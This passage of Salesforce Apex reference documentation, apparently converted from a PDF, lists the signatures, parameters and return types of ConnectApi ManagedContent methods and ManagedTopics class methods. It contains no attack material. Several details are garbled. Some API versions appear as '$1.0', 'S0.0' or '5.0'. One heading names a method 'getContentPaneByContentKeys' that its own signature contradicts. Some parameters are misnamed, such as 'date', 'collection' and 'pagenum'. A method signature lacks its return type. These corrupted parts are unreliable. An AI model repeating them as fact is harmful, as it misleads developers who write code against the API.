- Language locale for the managed content, for example, en_US. If the requested translation isn't available, the language defaults to the context user's language. If the context user's language isn't available, the language defaults to the content type's original language.

**managedContentType**
- Type: String
- The developer name of the content version.

**includeMetadata**
- Type: Boolean
- Specifies whether to include metadata in the response (true) or not (false). The default value is false.

**startDate**
- Type: String
- Publish start date in ISO 8601 format, for example, 2011-02-25T18:24:31.000Z.

**endDate**
- Type: String
- Publish end date in ISO 8601 format, for example, 2011-02-25T18:24:31.000Z.

Return Value

**Type:** ConnectApi.ManagedContentVersionCollection

```java
getAllContent(channelId, pageParam, pageSize, language, managedContentType, includeMetadata, startDate, endDate, showAbsoluteUrl)
```

Get all managed content versions for a channel with absolute URLs.
API Version
50.0

Available to Guest Users
50.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedContentVersionCollection getAllContent(String channelId, Integer pageParam, Integer pageSize, String language, String managedContentType, Boolean includeMetadata, String startDate, String endDate, Boolean showAbsoluteUrl)

Parameters

channelId
  Type: String
  ID of the channel.

pageParam
  Type: Integer
  Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of items per page. Valid values are from 1 through 250. For performance reasons, we recommend 25 or fewer items per page. If you pass in null, the default size is 25.

language
  Type: String
  Language locale for the managed content, for example, en_US. If the requested translation isn’t available, the language defaults to the context user’s language. If the context user’s language isn’t available, the language defaults to the content type’s original language.

managedContentType
  Type: String
  The developer name of the content version.

includeMetadata
  Type: Boolean
  Specifies whether to include metadata in the response (true) or not (false). The default value is false.

startDate
  Type: String
  Publish start date in ISO 8601 format, for example, 2011-02-25T18:24:31.000Z.

endDate
  Type: String
Publish end date in ISO 8601 format, for example, 2011-02-25T18:24:31.000Z.

showAbsoluteUrl
Type: Boolean
Specifies whether to show absolute URLs in the output class \(\text{true}\) or not \(\text{false}\). The default value is \text{false}.

Return Value
Type: ConnectApi.ManagedContentVersionCollection

**getAllDeliveryChannels(pageParam, pageSize)**
Get managed content delivery channels for the context user.

API Version
48.0

Available to Guest Users
48.0

Requires Chatter
No

Signature
```java
public static ConnectApi.ManagedContentChannelCollection getAllDeliveryChannels(Integer pageParam, Integer pageSize)
```

Parameters
pagenum
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in \text{null} or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 250. If you pass in \text{null}, the default size is 25.

Return Value
Type: ConnectApi.ManagedContentChannelCollection

**getAllManagedContent(communityId, pageParam, pageSize, language, managedContentType)**
Get all managed content versions for an Experience Cloud site.
public static ConnectApi.ManagedContentVersionCollection getAllManagedContent(String communityId, Integer pageParam, Integer pageSize, String language, String managedContentType)

Parameters

communityId
Type: String
ID of the Experience Cloud site.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 250. For performance reasons, we recommend 25 or fewer items per page. If you pass in null, the default size is 25.

language
Type: String
Language locale for the managed content, for example, en_US. If the requested translation isn’t available, the language defaults to the context user’s language. If the context user’s language isn’t available, the language defaults to the content type’s original language.

managedContentType
Type: String
The developer name of the content version.

Return Value
Type: ConnectApi.ManagedContentVersionCollection

getAllManagedContent(communityId, pageParam, pageSize, language, managedContentType, showAbsoluteUrl)

Get all managed content versions for an Experience Cloud site with absolute URLs.
API Version
50.0

Available to Guest Users
50.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedContentVersionCollection getAllManagedContent(String communityId, Integer pageParam, Integer pageSize, String language, String managedContentType, Boolean showAbsoluteUrl)

Parameters

`communityId`
Type: String
ID of the Experience Cloud site.

`pageParam`
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

`pageSize`
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 250. For performance reasons, we recommend 25 or fewer items per page. If you pass in `null`, the default size is 25.

`language`
Type: String
Language locale for the managed content, for example, `en_US`. If the requested translation isn’t available, the language defaults to the context user’s language. If the context user’s language isn’t available, the language defaults to the content type’s original language.

`managedContentType`
Type: String
The developer name of the content version.

`showAbsoluteUrl`
Type: Boolean
Specifies whether to show absolute URLs in the output class (true) or not (false). The default value is false.

Return Value
Type: `ConnectApi.ManagedContentVersionCollection`
**getContentPaneByContentKeys(channelId, contentKeys, pageParam, pageSize, language, managedContentType, includeMetadata, startDate, endDate, showAbsoluteUrl)**

Get managed content versions for a channel using a list of content keys.

**API Version**

$1.0

**Available to Guest Users**

$1.0

**Requires Chatter**

No

**Signature**

```java
public static ConnectApi.ManagedContentVersionCollection getContentByContentKeys(String channelId, List<String> contentKeys, Integer pageParam, Integer pageSize, String language, String managedContentType, Boolean includeMetadata, String startDate, String endDate, Boolean showAbsoluteUrl)
```

**Parameters**

- **channelId**
  - Type: `String`
  - ID of the channel.

- **contentKeys**
  - Type: `List<String>`
  - List of up to 50 content keys for the managed content. A content key is a universally unique identifier (UUID) such as MCA4CCV5QS2BAB5H7YRCRPTCWGZQ.

- **pageParam**
  - Type: `Integer`
  - Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

- **pageSize**
  - Type: `Integer`
  - Specifies the number of items per page. Valid values are from 1 through 250. For performance reasons, we recommend 25 or fewer items per page. If you pass in `null`, the default size is 25.

- **language**
  - Type: `String`
  - Language locale for the managed content, for example, `en_US`. If the requested translation isn’t available, the language defaults to the context user’s language. If the context user’s language isn’t available, the language defaults to the content type’s original language.

- **managedContentType**
  - Type: `String`
includeMetadata
Type: Boolean
Specifies whether to include metadata in the response (true) or not (false). The default value is false.

startDate
Type: String
Publish start date in ISO 8601 format, for example, 2011-02-25T18:24:31.000Z.

date
Type: String
Publish end date in ISO 8601 format, for example, 2011-02-25T18:24:31.000Z.

showAbsoluteUrl
Type: Boolean
Specifies whether to show absolute URLs in the output class (true) or not (false). The default value is false.

Return Value
Type: ConnectApi.ManagedContentVersionCollection

getContentByIds(channelId, managedContentIds, pageParam, pageSize, language, managedContentType, includeMetadata, startDate, endDate)
Get managed content versions for a channel using a list of managed content IDs.

API Version
48.0

Available to Guest Users
48.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedContentVersionCollection getContentByIds(String channelId, List<String> managedContentIds, Integer pageParam, Integer pageSize, String language, String managedContentType, Boolean includeMetadata, String startDate, String endDate)

Parameters
channelId
Type: String
ID of the channel.
managedContentIds
Type: List<String>
Comma-separated list of managed content IDs.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 250. For performance reasons, we recommend 25 or fewer items per page. If you pass in null, the default size is 25.

language
Type: String
Language locale for the managed content, for example, en_US. If the requested translation isn't available, the language defaults to the context user's language. If the context user's language isn't available, the language defaults to the content type's original language.

managedContentType
Type: String
The developer name of the content version.

includeMetadata
Type: Boolean
Specifies whether to include metadata in the response (true) or not (false). The default value is false.

startDate
Type: String
Publish start date in ISO 8601 format, for example, 2011-02-25T18:24:31.000Z.

date
Type: String
Publish end date in ISO 8601 format, for example, 2011-02-25T18:24:31.000Z.

Return Value
Type: ConnectApi.ManagedContentVersionCollection

getContentByIds(channelId, managedContentIds, pageParam, pageSize, language, managedContentType, includeMetadata, startDate, endDate, showAbsoluteUrl)
Get managed content versions for a channel with absolute URLs using a list of managed content IDs.

API Version
50.0

Available to Guest Users
50.0
Requires Chatter
No

Signature

```java
public static ConnectApi.ManagedContentVersionCollection getContentByIds(String channelId, List<String> managedContentIds, Integer pageParam, Integer pageSize, String language, String managedContentType, Boolean includeMetadata, String startDate, String endDate, Boolean showAbsoluteUrl)
```

Parameters

- `channelId`
  Type: `String`
  ID of the channel.

- `managedContentIds`
  Type: `List<String>`
  Comma-separated list of managed content IDs.

- `pageParam`
  Type: `Integer`
  Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

- `pageSize`
  Type: `Integer`
  Specifies the number of items per page. Valid values are from 1 through 250. For performance reasons, we recommend 25 or fewer items per page. If you pass in `null`, the default size is 25.

- `language`
  Type: `String`
  Language locale for the managed content, for example, en_US. If the requested translation isn't available, the language defaults to the context user's language. If the context user's language isn't available, the language defaults to the content type's original language.

- `managedContentType`
  Type: `String`
  The developer name of the content version.

- `includeMetadata`
  Type: `Boolean`
  Specifies whether to include metadata in the response (`true`) or not (`false`). The default value is `false`.

- `startDate`
  Type: `String`
  Publish start date in ISO 8601 format, for example, 2011-02-25T18:24:31.000Z.

- `endDate`
  Type: `String`
  Publish end date in ISO 8601 format, for example, 2011-02-25T18:24:31.000Z.
showAbsoluteUrl
   Type: Boolean
   Specifies whether to show absolute URLs in the output class (true) or not (false). The default value is false.

Return Value
Type: ConnectApi.ManagedContentVersionCollection

getManagedContentByContentKeys(communityId, contentKeys, pageParam, pageSize, language, managedContentType, showAbsoluteUrl)
Get managed content versions for an Experience Cloud site using a list of content keys.

API Version
51.0

Available to Guest Users
51.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedContentVersionCollection
getManagedContentByContentKeys(String communityId, List<String> contentKeys, Integer pageParam, Integer pageSize, String language, String managedContentType, Boolean showAbsoluteUrl)

Parameters
communityId
   Type: String
   ID of the Experience Cloud site.

contentKeys
   Type: List<String>
   List of up to 50 content keys for the managed content. A content key is a universally unique identifier (UUID) such as MCA4CCV5QS2BAB5H7YRCRPTCWGZQ.

pageParam
   Type: Integer
   Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
   Type: Integer
Specifies the number of items per page. Valid values are from 1 through 250. For performance reasons, we recommend 25 or fewer items per page. If you pass in null, the default size is 25.

**language**
Type: String
Language locale for the managed content, for example, en_US. If the requested translation isn’t available, the language defaults to the context user’s language. If the context user’s language isn’t available, the language defaults to the content type’s original language.

**managedContentType**
Type: String
The developer name of the content version.

**showAbsoluteUrl**
Type: Boolean
Specifies whether to show absolute URLs in the output class (true) or not (false). The default value is false.

Return Value
Type: ConnectApi.ManagedContentVersionCollection

### getManagedContentByIds(communityId, managedContentIds, pageParam, pageSize, language, managedContentType)
Get managed content versions for an Experience Cloud site using a list of managed content IDs.

**API Version**
47.0

**Available to Guest Users**
47.0

**Requires Chatter**
No

**Signature**

```java
public static ConnectApi.ManagedContentVersionCollection getManagedContentByIds(String communityId, List<String> managedContentIds, Integer pageParam, Integer pageSize, String language, String managedContentType)
```

**Parameters**

**communityId**
Type: String
ID of the Experience Cloud site.
**managedContentIds**
Type: `List<String>`
Comma-separated list of managed content IDs.

**pageParam**
Type: `Integer`
Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

**pageSize**
Type: `Integer`
Specifies the number of items per page. Valid values are from 1 through 250. For performance reasons, we recommend 25 or fewer items per page. If you pass in `null`, the default size is 25.

**language**
Type: `String`
Language locale for the managed content, for example, `en_US`. If the requested translation isn't available, the language defaults to the context user's language. If the context user's language isn't available, the language defaults to the content type's original language.

**managedContentType**
Type: `String`
The developer name of the content version.

**Return Value**
Type: `ConnectApi.ManagedContentVersionCollection`

**getManagedContentByIds(communityId, managedContentIds, pageParam, pageSize, language, managedContentType, showAbsoluteUrl)**
Get managed content versions for an Experience Cloud site with absolute URLs using a list of managed content IDs.

**API Version**
50.0

**Available to Guest Users**
50.0

**Requires Chatter**
No

**Signature**
```java
public static ConnectApi.ManagedContentVersionCollection getManagedContentByIds(String communityId, List<String> managedContentIds, Integer pageParam, Integer pageSize, String language, String managedContentType, Boolean showAbsoluteUrl)
```
Parameters

communityId
Type: String
ID of the Experience Cloud site.

managedContentIds
Type: List<String>
Comma-separated list of managed content IDs.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 250. For performance reasons, we recommend 25 or fewer items per page. If you pass in null, the default size is 25.

language
Type: String
Language locale for the managed content, for example, en_US. If the requested translation isn’t available, the language defaults to the context user’s language. If the context user’s language isn’t available, the language defaults to the content type’s original language.

managedContentType
Type: String
The developer name of the content version.

showAbsoluteUrl
Type: Boolean
Specifies whether to show absolute URLs in the output class (true) or not (false). The default value is false.

Return Value
Type: ConnectApi.ManagedContentVersionCollection

getManagedContentByTopics(communityId, topics, pageParam, pageSize, language, managedContentType)
Get managed content versions using a list of content topic names.

API Version
47.0

Available to Guest Users
47.0
Requires Chatter
No

Signature
public static ConnectApi.ManagedContentVersionCollection getManagedContentByTopics(String communityId, List<String> topics, Integer pageParam, Integer pageSize, String language, String managedContentType)

Parameters

communityId
Type: String
ID of the Experience Cloud site.

topics
Type: List<String>
Comma-separated list of up to 15 content topic names.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 250. For performance reasons, we recommend 25 or fewer items per page. If you pass in null, the default size is 25.

language
Type: String
Language locale for the managed content, for example, en_US. If the requested translation isn’t available, the language defaults to the context user’s language. If the context user’s language isn’t available, the language defaults to the content type’s original language.

managedContentType
Type: String
The developer name of the content version.

Return Value
Type: ConnectApi.ManagedContentVersionCollection

getManagedContentByTopics(communityId, topics, pageParam, pageSize, language, managedContentType, showAbsoluteUrl)
Get managed content versions with absolute URLs using a list of content topic names.

API Version
S0.0
Available to Guest Users
$0.0
Requires Chatter
No
Signature

```java
public static ConnectApi.ManagedContentVersionCollection getManagedContentByTopics(String communityId, List<String> topics, Integer pageParam, Integer pageSize, String language, String managedContentType, Boolean showAbsoluteUrl)
```

Parameters

- `communityId`
  Type: String
  ID of the Experience Cloud site.

- `topics`
  Type: List<String>
  Comma-separated list of up to 15 content topic names.

- `pageParam`
  Type: Integer
  Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

- `pageSize`
  Type: Integer
  Specifies the number of items per page. Valid values are from 1 through 250. For performance reasons, we recommend 25 or fewer items per page. If you pass in `null`, the default size is 25.

- `language`
  Type: String
  Language locale for the managed content, for example, `en_US`. If the requested translation isn’t available, the language defaults to the context user’s language. If the context user’s language isn’t available, the language defaults to the content type’s original language.

- `managedContentType`
  Type: String
  The developer name of the content version.

- `showAbsoluteUrl`
  Type: Boolean
  Specifies whether to show absolute URLs in the output class (`true`) or not (`false`). The default value is `false`.

Return Value

Type: `ConnectApi.ManagedContentVersionCollection`
getManagedContentByTopicsAndContentKeys(communityId, contentKeys, topics, pageParam, pageSize, language, managedContentType, showAbsoluteUrl)

Get managed content versions using a list of content keys and content topic names.

API Version
5.0

Available to Guest Users
5.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedContentVersionCollection getManagedContentByTopicsAndContentKeys(String communityId, List<String> contentKeys, List<String> topics, Integer pageParam, Integer pageSize, String language, String managedContentType, Boolean showAbsoluteUrl)

Parameters

communityId
  Type: String
  ID of the Experience Cloud site.

collection
  Type: List<String>
  List of up to 50 content keys for the managed content. A content key is a universally unique identifier (UUID) such as MCA4CCV5QS2BAB5H7YRCRPTCWGZQ.

topics
  Type: List<String>
  Comma-separated list of up to 15 content topic names.

pageParam
  Type: Integer
  Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of items per page. Valid values are from 1 through 250. For performance reasons, we recommend 25 or fewer items per page. If you pass in null, the default size is 25.

language
  Type: String
Language locale for the managed content, for example, en_US. If the requested translation isn’t available, the language defaults to the context user’s language. If the context user’s language isn’t available, the language defaults to the content type’s original language.

`managedContentType`
Type: `String`
The developer name of the content version.

`showAbsoluteUrl`
Type: `Boolean`
Specifies whether to show absolute URLs in the output class (true) or not (false). The default value is false.

Return Value
Type: `ConnectApi.ManagedContentVersionCollection`

`getManagedContentByTopicsAndIds(communityId, managedContentIds, topics, pageParam, pageSize, language, managedContentType)`
Get managed content versions using a list of managed content IDs and content topic names.

API Version
47.0

Available to Guest Users
47.0

Requires Chatter
No

Signature
`public static ConnectApi.ManagedContentVersionCollection getManagedContentByTopicsAndIds(String communityId, List<String> managedContentIds, List<String> topics, Integer pageParam, Integer pageSize, String language, String managedContentType)`

Parameters
`communityId`
Type: `String`
ID of the Experience Cloud site.

`managedContentIds`
Type: `List<String>`
Comma-separated list of managed content IDs.
topics
  Type: List<String>
  Comma-separated list of up to 15 content topic names.

pageParam
  Type: Integer
  Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of items per page. Valid values are from 1 through 250. For performance reasons, we recommend 25 or fewer items per page. If you pass in null, the default size is 25.

language
  Type: String
  Language locale for the managed content, for example, en_US. If the requested translation isn't available, the language defaults to the context user's language. If the context user's language isn't available, the language defaults to the content type's original language.

managedContentType
  Type: String
  The developer name of the content version.

Return Value
Type: ConnectApi.ManagedContentVersionCollection

getManagedContentByTopicsAndIds(communityId, managedContentIds, topics, pageParam, pageSize, language, managedContentType, showAbsoluteUrl)

Get managed content versions with absolute URLs using a list of managed content IDs and content topic names.

API Version
50.0

Available to Guest Users
50.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedContentVersionCollection getManagedContentByTopicsAndIds(String communityId, List<String> managedContentIds, List<String> topics, Integer pageParam, Integer pageSize, String language, String managedContentType, Boolean showAbsoluteUrl)
Parameters

communityId
   Type: String
   ID of the Experience Cloud site.

managedContentIds
   Type: List<String>
   Comma-separated list of managed content IDs.

topics
   Type: List<String>
   Comma-separated list of up to 15 content topic names.

pageParam
   Type: Integer
   Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
   Type: Integer
   Specifies the number of items per page. Valid values are from 1 through 250. For performance reasons, we recommend 25 or fewer items per page. If you pass in null, the default size is 25.

language
   Type: String
   Language locale for the managed content, for example, en_US. If the requested translation isn’t available, the language defaults to the context user’s language. If the context user’s language isn’t available, the language defaults to the content type’s original language.

managedContentType
   Type: String
   The developer name of the content version.

showAbsoluteUrl
   Type: Boolean
   Specifies whether to show absolute URLs in the output class (true) or not (false). The default value is false.

Return Value

Type: ConnectApi.ManagedContentVersionCollection

ManagedTopics Class

Access information about managed topics in an Experience Cloud site. Create, delete, and reorder managed topics.

Namespace

ConnectApi

ManagedTopics Methods

The following are methods for ManagedTopics. All methods are static.
IN THIS SECTION:

createManagedTopic(communityId, recordId, managedTopicType)
Create a managed topic of a specific type for an Experience Cloud site.

createManagedTopic(communityId, recordId, managedTopicType, parentId)
Create a child managed topic for an Experience Cloud site.

createManagedTopicByName(communityId, name, managedTopicType)
Create a managed topic of a specific type by name for an Experience Cloud site.

createManagedTopicByName(communityId, name, managedTopicType, parentId)
Create a child managed topic by name for an Experience Cloud site.

deleteManagedTopic(communityId, managedTopicId)
Delete a managed topic from an Experience Cloud site.

getManagedTopic(communityId, managedTopicId)
Get a managed topic in an Experience Cloud site.

getManagedTopic(communityId, managedTopicId, depth)
Get a managed topic, including its parent and children managed topics, in an Experience Cloud site.

getManagedTopics(communityId)
Get the featured and navigational managed topics for an Experience Cloud site.

getManagedTopics(communityId, managedTopicType)
Get managed topics of the specified type for an Experience Cloud site.

getManagedTopics(communityId, managedTopicType, depth)
Get managed topics of the specified type, including their parent and children managed topics, in an Experience Cloud site.

getManagedTopics(communityId, managedTopicType, recordIds, depth)
Get managed topics of the specified type, including their parent and children managed topics, that are associated with topics in an Experience Cloud site.

getManagedTopics(communityId, managedTopicType, pageParam, pageSize)
Get a page of managed topics.

reorderManagedTopics(communityId, managedTopicPositionCollection)
Reorder the relative positions of managed topics in an Experience Cloud site.

createManagedTopic(communityId, recordId, managedTopicType)
Create a managed topic of a specific type for an Experience Cloud site.

API Version
32.0

Requires Chatter
No
Signature

public static ConnectApi.ManagedTopic createManagedTopic(String communityId, String recordId, ConnectApi.ManagedTopicType managedTopicType)

Parameters

```java
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.
```

```java
recordId
Type: String
ID of the topic.
```

```java
managedTopicType
Type: ConnectApi.ManagedTopicType
Specify the type of managed topic.
```

- Content—Topics that are associated with native content.
- Featured—Topics that are featured, for example, on the Experience Cloud site home page, but don’t provide overall navigation.
- Navigational—Topics that display in a navigational menu in the Experience Cloud site.

A topic can be associated with all three managed topic types, so a topic can be a Featured, Navigational, and Content topic.

You can create up to 25 Featured and 5,000 Content topics. You can create up to eight levels of Navigational managed topics with 25 top-level topics and 10 children topics per level for a maximum of 2,775 Navigational topics.

Return Value

Type: ConnectApi.ManagedTopic

Usage

Only community managers (users with the Create and Set Up Experiences or Manage Experiences permission) can create managed topics.

```java
createManagedTopic(communityId, recordId, managedTopicType, parentId)
```
Create a child managed topic for an Experience Cloud site.

API Version

35.0

Requires Chatter

No
Signature

```java
public static ConnectApi.ManagedTopic createManagedTopic(String communityId, String recordId, ConnectApi.ManagedTopicType managedTopicType, String parentId)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- **recordId**
  - Type: `String`
  - ID of the topic.

- **managedTopicType**
  - Type: `ConnectApi.ManagedTopicType`
  - Specify `Navigational` for the type of managed topic to create a child managed topic.
  - You can create up to 25 `Featured` and 5,000 `Content` topics. You can create up to eight levels of `Navigational` managed topics with 25 top-level topics and 10 children topics per level for a maximum of 2,775 `Navigational` topics.

- **parentId**
  - Type: `String`
  - ID of the parent managed topic.
  - You can create up to eight levels (parent, direct children, their children, etc.) of managed topics and up to 10 children managed topics per managed topic.

Return Value

- **Type:** `ConnectApi.ManagedTopic`

Usage

Only community managers (users with the Create and Set Up Experiences or Manage Experiences permission) can create managed topics.

```java
createManagedTopicByName(communityId, name, managedTopicType)
```

Create a managed topic of a specific type by name for an Experience Cloud site.

API Version

32.0

Requires Chatter

No
public static ConnectApi.ManagedTopic createManagedTopicByName(String communityId, String name, ConnectApi.ManagedTopicType managedTopicType)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

name
Type: String
Name of the topic.

managedTopicType
Type: ConnectApi.ManagedTopicType
Specify the type of managed topic.
- Content—Topics that are associated with native content.
- Featured—Topics that are featured, for example, on the Experience Cloud site home page, but don’t provide overall navigation.
- Navigational—Topics that display in a navigational menu in the Experience Cloud site.

A topic can be associated with all three managed topic types, so a topic can be a Featured, Navigational, and Content topic.

You can create up to 25 Featured and 5,000 Content topics. You can create up to eight levels of Navigational managed topics with 25 top-level topics and 10 children topics per level for a maximum of 2,775 Navigational topics.

Return Value
Type: ConnectApi.ManagedTopic

Usage
Only community managers (users with the Create and Set Up Experiences or Manage Experiences permission) can create managed topics.

createManagedTopicByName(communityId, name, managedTopicType, parentId)
Create a child managed topic by name for an Experience Cloud site.

API Version
35.0

Requires Chatter
No
public static ConnectApi.ManagedTopic createManagedTopicByName(String communityId, String name, ConnectApi.ManagedTopicType managedTopicType, String parentId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

name
Type: String
Name of the topic.

managedTopicType
Type: ConnectApi.ManagedTopicType
Specify Navigational for the type of managed topic to create a child managed topic.
You can create up to 25 Featured and 5,000 Content topics. You can create up to eight levels of Navigational managed topics with 25 top-level topics and 10 children topics per level for a maximum of 2,775 Navigational topics.

parentId
Type: String
ID of the parent managed topic.
You can create up to eight levels (parent, direct children, their children, etc.) of managed topics and up to 10 children managed topics per managed topic.

Return Value
Type: ConnectApi.ManagedTopic

Usage
Only community managers (users with the Create and Set Up Experiences or Manage Experiences permission) can create managed topics.

deleteManagedTopic(communityId, managedTopicId)
Delete a managed topic from an Experience Cloud site.

API Version
32.0

Requires Chatter
No

Signature
public static deleteManagedTopic(String communityId, String managedTopicId)
Parameters

communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

managedTopicId
  Type: String
  ID of managed topic.

Return Value
Type: Void

Usage
Only community managers (users with the Create and Set Up Experiences or Manage Experiences permission) can delete managed topics.

getManagedTopic(communityId, managedTopicId)
Get a managed topic in an Experience Cloud site.

API Version
32.0

Available to Guest Users
32.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedTopic getManagedTopic(String communityId, String managedTopicId)

Parameters

communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

managedTopicId
  Type: String
  ID of managed topic.
Return Value
Type: ConnectApi.ManagedTopic

**getManagedTopic(communityId, managedTopicId, depth)**
Get a managed topic, including its parent and children managed topics, in an Experience Cloud site.

API Version
35.0

Available to Guest Users
35.0

Requires Chatter
No

Signature

```java
public static ConnectApi.ManagedTopic getManagedTopic(String communityId, String managedTopicId, Integer depth)
```

Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**managedTopicId**
Type: String
ID of managed topic.

**depth**
Type: Integer
Specify an integer 1–8. If you specify 1, the children property of the ConnectApi.ManagedTopic output class is null. If you specify 2, the children property of the ConnectApi.ManagedTopic output class contains the direct children managed topics, if any, of the managed topic. If you specify 3–8, you get the direct children managed topics and their children managed topics if there are any. If depth isn’t specified, it defaults to 1.

Return Value
Type: ConnectApi.ManagedTopic

**getManagedTopics(communityId)**
Get the featured and navigational managed topics for an Experience Cloud site.

To get the content topics for an Experience Cloud site, use **getManagedTopics(communityId, managedTopicType)**.
API Version
32.0

Available to Guest Users
32.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

Return Value
Type: ConnectApi.ManagedTopicCollection

getManagedTopics(communityId, managedTopicType)
Get managed topics of the specified type for an Experience Cloud site.

API Version
32.0

Available to Guest Users
32.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId, ConnectApi.ManagedTopicType managedTopicType)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

managedTopicType
Type: ConnectApi.ManagedTopicType
Type of managed topic.
- Content—Topics that are associated with native content.
- Featured—Topics that are featured, for example, on the Experience Cloud site home page, but don’t provide overall navigation.
- Navigational—Topics that display in a navigational menu in the Experience Cloud site.

A topic can be associated with all three managed topic types, so a topic can be a Featured, Navigational, and Content topic.

If you specify Content, up to 50 topics are returned. If you want more than 50 Content topics, use getManagedTopics(communityId, managedTopicType, pageParam, pageSize).

Return Value
Type: ConnectApi.ManagedTopicCollection

getManagedTopics(communityId, managedTopicType, depth)
Get managed topics of the specified type, including their parent and children managed topics, in an Experience Cloud site.

API Version
35.0

Available to Guest Users
35.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId, ConnectApi.ManagedTopicType managedTopicType, Integer depth)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

managedTopicType
Type: ConnectApi.ManagedTopicType
Type of managed topic.
- Content—Topics that are associated with native content.
**Featured**—Topics that are featured, for example, on the Experience Cloud site home page, but don’t provide overall navigation.

**Navigational**—Topics that display in a navigational menu in the Experience Cloud site.

A topic can be associated with all three managed topic types, so a topic can be a **Featured**, **Navigational**, and **Content** topic.

**depth**

Type: `Integer`

Specify an integer 1–8. If you specify 1, the `children` property of the `ConnectApi.ManagedTopic` output class is `null`. If you specify 2, the `children` property of the `ConnectApi.ManagedTopic` output class contains the direct children managed topics, if any, of the managed topic. If you specify 3–8, you get the direct children managed topics and their children managed topics if there are any. If depth isn't specified, it defaults to 1.

**Return Value**

Type: `ConnectApi.ManagedTopicCollection`

### `getManagedTopics` (communityId, managedTopicType, recordIds, depth)

Get managed topics of the specified type, including their parent and children managed topics, that are associated with topics in an Experience Cloud site.

**API Version**

38.0

**Available to Guest Users**

38.0

**Requires Chatter**

No

**Signature**

```java
public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId, ConnectApi.ManagedTopicType managedTopicType, List<String> recordIds, Integer depth)
```

**Parameters**

**communityId**

Type: `String`

Use the ID for an Experience Cloud site, internal, or `null`.

**managedTopicType**

Type: `ConnectApi.ManagedTopicType`

Type of managed topic.

- **Content**—Topics that are associated with native content.
- **Featured**—Topics that are featured, for example, on the Experience Cloud site home page, but don’t provide overall navigation.
- **Navigational**—Topics that display in a navigational menu in the Experience Cloud site.

A topic can be associated with all three managed topic types, so a topic can be a Featured, Navigational, and Content topic.

**recordIds**
Type: `List<String>`
A list of up to 100 topic IDs associated with the managed topics.
If you list more than 10 topic IDs, you can’t specify 2–8 for `depth`.

**depth**
Type: `Integer`
Specify an integer 1–8. If you specify 1, the `children` property of the `ConnectApi.ManagedTopic` output class is `null`. If you specify 2, the `children` property of the `ConnectApi.ManagedTopic` output class contains the direct children managed topics, if any, of the managed topic. If you specify 3–8, you get the direct children managed topics and their children managed topics if there are any. If `depth` isn’t specified, it defaults to 1.

**Return Value**
Type: `ConnectApi.ManagedTopicCollection`

**getManagedTopics** `(communityId, managedTopicType, pageParam, pageSize)`
Get a page of managed topics.

**API Version**
44.0

**Available to Guest Users**
44.0

**Requires Chatter**
No

**Signature**

```
public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId, 
ConnectApi.ManagedTopicType managedTopicType, Integer pageParam, Integer pageSize)
```

**Parameters**

- **communityId**
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- **managedTopicType**
  Type: `ConnectApi.ManagedTopicType`
  Type of managed topic.
- **Content**—Topics that are associated with native content.
- **Featured**—Topics that are featured, for example, on the Experience Cloud site home page, but don’t provide overall navigation.
- **Navigational**—Topics that display in a navigational menu in the Experience Cloud site.

A topic can be associated with all three managed topic types, so a topic can be a Featured, Navigational, and Content topic.

**pageParam**
- **Type**: Integer
  - Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

**pageSize**
- **Type**: Integer
  - Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 50.

**Return Value**
